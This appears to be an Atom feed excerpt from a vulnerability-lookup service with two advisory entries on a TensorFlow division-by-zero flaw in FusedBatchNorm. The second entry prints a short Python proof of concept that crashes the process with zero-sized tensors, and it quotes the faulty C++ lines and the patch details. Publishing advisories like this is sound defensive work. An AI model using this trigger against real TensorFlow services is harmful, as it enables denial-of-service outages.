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  <updated>2026-10-09T15:15:00.749839+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
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  <entry>
    <id>https://cve.radiocsirt.org/vuln/cve-2021-29555</id>
    <title>CVE-2021-29555 — Division by 0 in `FusedBatchNorm`</title>
    <updated>2026-10-09T15:15:00.751535+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> tensorflow</p>
<p>TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.FusedBatchNorm`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/828f346274841fa7505f7020e88ca36c22e557ab/tensorflow/core/kernels/fused_batch_norm_op.cc#L295-L297) performs a division based on the last dimension of the `x` tensor. Since this is controlled by the user, an attacker can trigger a denial of service. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/cve-2021-29555"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-r35g-4525-29fq</id>
    <title>GHSA-r35g-4525-29fq — Division by 0 in `FusedBatchNorm`</title>
    <updated>2026-10-09T15:15:00.751592+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: tensorflow, PyPI: tensorflow-cpu, PyPI: tensorflow-gpu</p>
<p>### Impact
An attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.FusedBatchNorm`:</p>
<p>```python
import tensorflow as tf</p>
<p>x = tf.constant([], shape=[1, 1, 1, 0], dtype=tf.float32)
scale = tf.constant([], shape=[0], dtype=tf.float32)
offset = tf.constant([], shape=[0], dtype=tf.float32)
mean = tf.constant([], shape=[0], dtype=tf.float32)
variance = tf.constant([], shape=[0], dtype=tf.float32)
epsilon = 0.0
exponential_avg_factor = 0.0
data_format = "NHWC"
is_training = False</p>
<p>tf.raw_ops.FusedBatchNorm(
    x=x, scale=scale, offset=offset, mean=mean,
    variance=variance, epsilon=epsilon,
    exponential_avg_factor=exponential_avg_factor,
    data_format=data_format, is_training=is_training)
``` 
  
This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/828f346274841fa7505f7020e88ca36c22e557ab/tensorflow/core/kernels/fused_batch_norm_op.cc#L295-L297) performs a division based on the last dimension of the `x` tensor:</p>
<p>```cc 
const int depth = x.dimension(3);
const int rest_size = size / depth;
```</p>
<p>Since this is controlled by the user, an attacker can trigger a denial of service.</p>
<p>### Patches
We have patched the issue in GitHub commit [1a2a87229d1d61e23a39373777c056161eb4084d](https://github.com/tensorflow/tensorflow/commit/1a2a87229d1d61e23a39373777c056161eb4084d).</p>
<p>The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-r35g-4525-29fq"/>
  </entry>
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